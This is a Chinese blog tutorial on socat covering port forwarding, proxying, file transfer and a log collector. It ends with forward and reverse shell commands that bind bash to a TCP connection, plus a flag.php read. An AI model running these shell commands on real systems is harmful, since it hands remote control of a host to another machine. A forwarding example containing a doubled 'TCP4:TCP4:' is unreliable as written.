socat 初窥门径

A typical socat invocation

如果您的工具箱需要高级一款高级系统管理工具,那 socat 就是其中一个。 socat 允许从一个位置到另一位置的双向数据传输,socat 实用程序是用于在两个独立数据通道之间进行双向数据传输的中继。

socat可以连接许多不同类型的通道,包括:

  • 文件
  • 管道
  • 设备(串行线、伪终端等)
  • Sockets(UNIX, IP4, IP6 - raw, UDP, TCP)
  • SSL sockets
  • 代理 CONNECT 连接
  • 文件描述符(stdin 等)
  • The GNU line editor (readline)
  • 程序
  • 以上任意两个的组合

socat 具被视为 netcat 的高级版本。 它们执行类似的操作,但是 socat 具有更多其他功能,例如允许多个客户端在端口上侦听或重用连接。

一、为什么需要 socat

有许多有效使用 socat 的方法。 这里有一些例子:

  • TCP 端口转发器(单发或守护程序)
  • 外部袜机
  • 攻击弱防火墙的工具(安全和审核)
  • Shell 与 Unix 套接字的接口
  • IP6 中继
  • 将面向 TCP 的程序重定向到串行线
  • 逻辑连接不同计算机上的串行线
  • 建立相对安全的环境(suchroot)以运行带有网络连接的客户端或服务器 Shell 脚本

二、怎样使用 socat

socat 的语法非常简单:

socat [options] <address> <address>

必须提供源地址和目标地址才能正常工作。 地址的语法为:

protocol:host:port

三、socat 使用实例

使用 socat 进行各种连接的一些基本示例:

1、连接到主机 TCP 8080 端口

$ socat - TCP4:www.example.com:8080

在这种情况下,socat 在 STDIO(-)和名为 www.example.com 主机 8080 端口建立的 TCP4 连接之间进行数据传输。

2、监听一个新端口

$ socat TCP-LISTEN:7000 -

3、使用 socat 作为 TCP 转发器

  • 对于单连接:
$ socat TCP4-LISTEN:8081 TCP4:192.168.1.10:8080
  • 对于多连接,使用 fork 选项:
$ socat TCP4-LISTEN:8081,fork,reuseaddr TCP4:TCP4:192.168.1.10:8080

侦听端口 8081,接受连接并将连接转发到远程主机.192.168.1.10 上的 8080 端口。

  • Unix sock
$ socat TCP-LISTEN:3307,reuseaddr,fork UNIX-CONNECT:/var/lib/mysql/mysql.sock

侦听 3307 端口,接受连接并将连接转发到远程主机上的 Unix 套接字。

4、通过代理访问服务器

通过代理服务器访问目标主机,并在本机进行端口监听。把发到本机监听端口的数据转发到目标主机:

# SOCKS4 代理,貌似 socat 不支持 SOCKS5 代理
$ socat TCP4-LISTEN:<本地端口>,reuseaddr,fork \
        SOCKS:<Proxy-Host>:<Host>:<Port>,socksport=<Proxy-Port>,socksuser=<user>

# HTTP 代理
$ socat TCP4-LISTEN:<本地端口>,reuseaddr,fork \
        PROXY:<Proxy-Host>:<Host>:<Port>,proxyport=<Proxy-Port>,proxyauth=<user>:<pass>

同时,也可以将本地端口监听改为标准输入输出,以这种方式协助 ssh 通过代理访问目标主机。

如:以通过 HTTP 代理访问

# 主机:user@server.net
# 代理:http://proxyuser:proxypwd@proxy.net:30808
$ ssh -o \
    ProxyCommand='socat - proxy:proxy.net:%h:%p,proxyport=30808,proxyauth=proxyuser:proxypwd' \
    user@server.net

5、实现一个简单的基于网络的消息收集器:

$ socat -u TCP4-LISTEN:3334,reuseaddr,fork OPEN:/tmp/test.log,creat,append

在此示例中,当客户端连接到 3334 端口时,将生成一个新的子进程。 客户端发送的所有数据都将附加到文件 /tmp/test.log。 如果文件不存在,则 socat 会创建它。 选项 reuseaddr 允许立即重启服务器进程。

6、文件操作

  • 文件读写
# 从绝对路径读取
$ socat - /var/www/html/flag.php 

# 从相对路径读取
# 注: 这里的路径一般是绝对路径,如果要使用相对路径记得要加上 ./
$ socat - ./flag.php

# 写入文件
$ echo "This is Test" | socat - /tmp/hello.html
  • 文件传递

再看文件传递的例子。nc 也经常用来传递文件,但是 nc 有一个缺点,就是不知道文件什么时候传完了,一般要用Ctrl-C 来终止,或者估计一个时间,用 -w 参数来让他自动终止。用 socat 就不用这么麻烦了:

Host Command
On host 1 $ socat -u open:myfile.exe,binary tcp-listen:999
On host 2 $ socat -u tcp:host1:999 open:myfile.exe,create,binary

7、Shell

正向 Shell:

正向 Shell 就是 Server 提供网络监听以及启动 Shell,供 Client 控制

# Server - Linux 192.168.1.100
$ socat tcp-l:8888 system:bash,pty,stderr
# macOS
$ socat readline tcp:192.168.197.100:8888
反向 Shell:

反向 Shell 就是 Server 提供网络监听,Client 启动 Shell,在 Client 连接后对 Client 进行控制

# Server - Linux 192.168.1.100
$ socat tcp-l:8888 readline
# macOS
$ socat system:bash,pty,stderr tcp:192.168.197.100:8888

以上时相对比较常用的场景,其余更复杂的应用可以翻阅相关资料,有些特定场景有更方便的实现,如:NAT 映射,更推荐使用 frp,可参考《推荐一款很好用的内网穿透工具–frp》

四、参考

(完)

推荐阅读更多精彩内容